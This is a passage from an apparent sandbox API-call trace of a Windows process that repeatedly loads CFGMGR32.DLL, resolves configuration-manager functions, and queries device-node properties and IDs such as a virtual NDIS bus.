ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0244.054] malloc (_Size=0x48) returned 0x20abc27cf80 [0244.055] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4d3a7894, dwHighDateTime=0x1d9eb0c)) [0244.058] SetEvent (hEvent=0x248) returned 1 [0244.064] malloc (_Size=0xd8) returned 0x20abc284e70 [0244.065] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0244.065] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0244.065] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0244.066] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0244.066] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0244.066] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0244.066] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0244.066] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0244.066] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0244.067] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0244.067] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0244.067] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0244.067] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0244.067] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0244.067] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0244.067] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0244.068] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0244.068] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0244.068] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0244.068] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0244.068] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0244.068] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0244.069] malloc (_Size=0x18) returned 0x20abc281c20 [0244.069] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x36, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0244.073] malloc (_Size=0x48) returned 0x20abc27cb20 [0244.073] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4d3f32ca, dwHighDateTime=0x1d9eb0c)) [0244.074] SetEvent (hEvent=0x248) returned 1 [0244.079] malloc (_Size=0xd8) returned 0x20abc284e70 [0244.079] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0244.079] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0244.080] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0244.080] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0244.080] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0244.080] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0244.080] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0244.080] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0244.081] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0244.081] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0244.081] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0244.081] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0244.081] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0244.081] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0244.082] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0244.082] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0244.082] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0244.082] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0244.082] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0244.082] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0244.082] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0244.083] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0244.083] malloc (_Size=0x18) returned 0x20abc281b20 [0244.083] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x36, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0244.084] malloc (_Size=0x48) returned 0x20abc27cb20 [0244.084] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x4d3f32ca, dwHighDateTime=0x1d9eb0c)) [0244.084] SetEvent (hEvent=0x248) returned 1 [0244.223] malloc (_Size=0xd8) returned 0x20abc284e70 [0244.223] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0244.223] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0244.224] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0244.224] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0244.224] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0244.224] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0244.224] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0244.224] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0244.225] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0244.225] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0244.225] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0244.225] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0244.225] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0244.225] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0244.226] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0244.226] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0244.226] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0244.226] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0244.226] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0244.226] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0244.227] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0244.232] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0244.233] malloc (_Size=0x18) returned 0x20abc281ea0 [0244.233] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x36, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0244.233] malloc (_Size=0x48) returned 0x20abc27cf80 [0244.234] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x4d570d57, dwHighDateTime=0x1d9eb0c)) [0244.234] SetEvent (hEvent=0x248) returned 1 [0244.241] malloc (_Size=0xd8) returned 0x20abc284e70 [0244.241] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0244.242] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0244.242] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0244.242] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0244.272] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0244.272] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0244.272] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0244.272] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0244.273] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0244.273] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0244.273] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0244.273] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0244.273] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0244.273] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0244.273] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0244.273] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0244.277] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0244.277] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0244.277] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0244.277] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0244.277] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0244.278] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0244.279] malloc (_Size=0x18) returned 0x20abc281bc0 [0244.279] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x36, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0244.279] malloc (_Size=0x48) returned 0x20abc27cf80 [0244.279] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4d5e35f8, dwHighDateTime=0x1d9eb0c)) [0244.280] SetEvent (hEvent=0x248) returned 1 [0244.287] malloc (_Size=0xd8) returned 0x20abc284e70 [0244.287] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0244.287] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0244.287] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0244.288] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0244.288] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0244.289] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0244.306] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0244.306] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0244.306] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0244.306] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0244.306] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0244.306] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0244.306] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0244.307] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0244.307] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0244.307] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0244.307] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0244.307] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0244.307] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0244.307] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0244.308] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0244.308] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0244.309] malloc (_Size=0x18) returned 0x20abc281fe0 [0244.309] CM_Get_Device_IDA (in: dnDevInst=0x37, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ROOT\\NDISVIRTUALBUS\\0000") returned 0x0 [0244.309] malloc (_Size=0x48) returned 0x20abc27cf80 [0244.309] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x4d62f629, dwHighDateTime=0x1d9eb0c)) [0244.310] SetEvent (hEvent=0x248) returned 1 [0244.314] malloc (_Size=0xd8) returned 0x20abc284e70 [0244.314] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0244.315] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0244.315] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0244.315] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0244.315] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0244.315] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0244.315] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0244.316] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0244.316] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0244.316] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0244.316] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0244.316] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0244.316] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0244.317] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0244.317] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0244.317] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0244.317] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0244.317] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0244.317] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0244.317] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0244.318] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0244.318] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0244.318] malloc (_Size=0x18) returned 0x20abc281b40 [0244.318] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x37, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0244.319] malloc (_Size=0x2a) returned 0x20abc281190 [0244.319] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x37, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc281190, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc281190, pulLength=0x2dc22fd3f8) returned 0x0 [0244.320] free (_Block=0x20abc281190) [0244.320] malloc (_Size=0x48) returned 0x20abc27cf80 [0244.495] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x4d7f92ab, dwHighDateTime=0x1d9eb0c)) [0244.496] SetEvent (hEvent=0x248) returned 1 [0244.500] malloc (_Size=0x18) returned 0x20abc281e40 [0244.500] SafeArrayPutElement (psa=0x20abbaf1d60, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0244.500] free (_Block=0x20abc281e40) [0244.501] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0c370 [0244.501] SafeArrayGetDim (psa=0x20abbaf1d60) returned 0x1 [0244.501] SafeArrayGetLBound (in: psa=0x20abbaf1d60, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0244.501] SafeArrayGetUBound (in: psa=0x20abbaf1d60, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0244.501] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79c70 [0244.501] SafeArrayGetDim (psa=0x20abbaf1d60) returned 0x1 [0244.501] SafeArrayGetUBound (in: psa=0x20abbaf1d60, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0244.501] SafeArrayGetElemsize (psa=0x20abbaf1d60) returned 0x8 [0244.501] SafeArrayGetElement (in: psa=0x20abbaf1d60, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0244.502] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc4020f0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0244.502] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79c70) returned 1 [0244.503] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0c370) returned 1 [0244.504] malloc (_Size=0xd8) returned 0x20abc284e70 [0244.504] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0244.504] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0244.505] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0244.505] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0244.505] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0244.505] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0244.505] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0244.506] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0244.506] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0244.506] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0244.506] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0244.506] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0244.506] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0244.507] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0244.507] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0244.507] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0244.507] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0244.507] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0244.508] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0244.508] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0244.511] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0244.511] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0244.512] malloc (_Size=0x18) returned 0x20abc2820e0 [0244.515] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x37, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x25 [0244.515] malloc (_Size=0x48) returned 0x20abc27cf80 [0244.515] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x4d81f6c8, dwHighDateTime=0x1d9eb0c)) [0244.515] SetEvent (hEvent=0x248) returned 1 [0244.520] malloc (_Size=0xd8) returned 0x20abc284e70 [0244.520] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0244.520] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0244.520] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0244.521] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0244.521] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0244.521] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0244.521] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0244.521] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0244.521] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0244.522] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0244.522] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 